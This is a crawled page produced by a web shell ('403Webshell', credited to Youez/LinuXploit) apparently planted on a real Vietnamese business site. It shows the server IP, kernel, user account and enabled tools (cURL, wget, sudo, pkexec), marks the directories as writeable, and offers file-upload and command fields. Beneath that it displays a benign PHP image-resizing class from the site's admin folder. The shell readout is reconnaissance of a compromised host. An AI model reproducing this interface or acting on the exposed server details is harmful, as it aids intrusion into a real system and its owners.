403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 8.2.20
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/thegioimaycongnghiep.vn/public_html/webadmin/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/thegioimaycongnghiep.vn/public_html/webadmin/libraries/ResizeImg.php
<?php if (! defined('BASEPATH')) exit('No direct script access allowed');
class ResizeImg {
 
   var $image;
   var $image_type;
   // Constructor
    public function __construct()
    {
    }
	
   function load($filename)
   {
 
      $image_info = @getimagesize($filename);
      $this->image_type = $image_info[2];
      if( $this->image_type == IMAGETYPE_JPEG ) 
	  {
 
         $this->image = imagecreatefromjpeg($filename);
      }
	  elseif( $this->image_type == IMAGETYPE_GIF )
	  {
 
         $this->image = imagecreatefromgif($filename);
      } 
	  elseif( $this->image_type == IMAGETYPE_PNG ) 
	  {
 
         $this->image = imagecreatefrompng($filename);
      }
   }
   function save($filename, $image_type=IMAGETYPE_JPEG, $compression=75, $permissions=null) 
   {
 	
		//$this->watermark();
		if( $image_type == IMAGETYPE_JPEG ) {
			imagejpeg($this->image,$filename,$compression);
		} elseif( $image_type == IMAGETYPE_GIF ) {
		
		imagegif($this->image,$filename);
		} elseif( $image_type == IMAGETYPE_PNG ) {
		
		imagepng($this->image,$filename);
		}
		if( $permissions != null) {
		
		chmod($filename,$permissions);
		}
   }
   
   function watermark()
   {
		$watermark = @imagecreatefrompng(ROOT_IMG.'tritvn.png'); 
		$imagewidth = imagesx($this->image);
		$imageheight = imagesy($this->image);
		$watermarkwidth = imagesx($watermark);
		$watermarkheight = imagesy($watermark);//trit($watermarkheight);
		$startwidth = $imagewidth - $watermarkwidth - 10 ; //(($imagewidth - $watermarkwidth)/2);
		$startheight = $imageheight - $watermarkheight - 10 ; //(($imageheight - $watermarkheight)/2);
		imagecopy($this->image, $watermark, $startwidth, $startheight, 0, 0, $watermarkwidth, $watermarkheight);
   }
   function output($image_type=IMAGETYPE_JPEG) {
 
      if( $image_type == IMAGETYPE_JPEG ) {
         imagejpeg($this->image);
      } elseif( $image_type == IMAGETYPE_GIF ) {
 
         imagegif($this->image);
      } elseif( $image_type == IMAGETYPE_PNG ) {
 
         imagepng($this->image);
      }
   }
   function getWidth() {
 
      return imagesx($this->image);
   }
   function getHeight() {
 
      return imagesy($this->image);
   }
   function resizeToHeight($height) {
 
      $ratio = $height / $this->getHeight();
      $width = $this->getWidth() * $ratio;
      $this->resize($width,$height);
   }
 
   function resizeToWidth($width) {
      $ratio = $width / $this->getWidth();
      $height = $this->getheight() * $ratio;
      $this->resize($width,$height);
   }
 
   function scale($scale) {
      $width = $this->getWidth() * $scale/100;
      $height = $this->getheight() * $scale/100;
      $this->resize($width,$height);
   }
 
   function resize($width,$height)
   {
      $new_image = imagecreatetruecolor($width, $height);
      imagecopyresampled($new_image, $this->image, 0, 0, 0, 0, $width, $height, $this->getWidth(), $this->getHeight());
      $this->image = $new_image;
   }      
 
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit